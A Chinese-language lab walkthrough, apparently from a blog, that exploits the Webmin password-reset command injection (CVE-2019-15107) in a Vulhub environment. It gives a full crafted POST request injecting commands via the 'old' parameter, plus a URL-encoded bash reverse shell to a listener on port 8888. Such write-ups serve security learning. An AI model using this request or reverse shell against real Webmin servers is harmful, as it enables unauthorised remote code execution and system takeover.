Webmin远程命令执行(CVE-2019-15107)

Webmin是一款基于web的Unix系统管理工具、管理员可通过浏览器访问Webmin的各种管理功能,完成对应的管理操作,当用户开启Webmin密码重置功能后,利用该漏洞可执行任意命令,获取系统权限

漏洞版本:Webmin<=1.9.20

使用Vulhub来快速启动漏洞环境

docker-compose up -d    启动环境

Webmin远程命令执行(CVE-2019-15107)_Webmin远程命令

直接使用浏览器访问该IP的10000端口

Webmin远程命令执行(CVE-2019-15107)_Webmin远程命令_02

然后抓包构造以下数据,当我们的用户名存在时会直接返回修改密码失败,原密码错误,不会执行后面的命令。

这种思路其实可以也用到逻辑测试上,当用户存在时不存在漏洞,但是当用户不存在时确可以执行命令。

Webmin远程命令执行(CVE-2019-15107)_Webmin远程命令_03

 

所以我们需要构造一个系统内不存在的用户,然后在old参数中使用 | 来连接执行命令。

 Webmin远程命令执行(CVE-2019-15107)_Webmin远程命令_04

 1 POST /password_change.cgi HTTP/1.1 2 Host: 192.168.0.103:10000 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 6 Accept-Encoding: gzip, deflate 7 Content-Type: application/x-www-form-urlencoded 8 Content-Length: 61 9 Origin: https://192.168.0.103:1000010 Connection: close11 Referer: https://192.168.0.103:10000/12 Cookie: redirect=1; testing=1;sid=x;sessiontest=113 Upgrade-Insecure-Requests: 114 15 user=root111&pam=&expired=2&old=test|ls&new1=test2&new2=test2

其实在测试参数中只要确保存在user、old、new1、new2这四个参数就可执行命令

简单利用:

使用nc监听8888端口

Webmin远程命令执行(CVE-2019-15107)_Webmin远程命令_05

然后使用bash反弹shell

bash -c "bash -i >& /dev/tcp/192.168.0.102/8888 0>&1"

这里需要进行一下URL编码

Webmin远程命令执行(CVE-2019-15107)_Webmin远程命令_06

这里一直不明白为什么一定要用编码才能执行命令

其实是因为“&”符号,当程序在运行时遇到&符时,会被当做逻辑符号来解释,但前面我们输入的密码是假的,所以不能执行命令,我们只需要把“&”符进行编码就可以执行命令反弹shell

Webmin远程命令执行(CVE-2019-15107)_Webmin远程命令_07

 成功反弹回来

Webmin远程命令执行(CVE-2019-15107)_Webmin远程命令_08


 

 完结!!!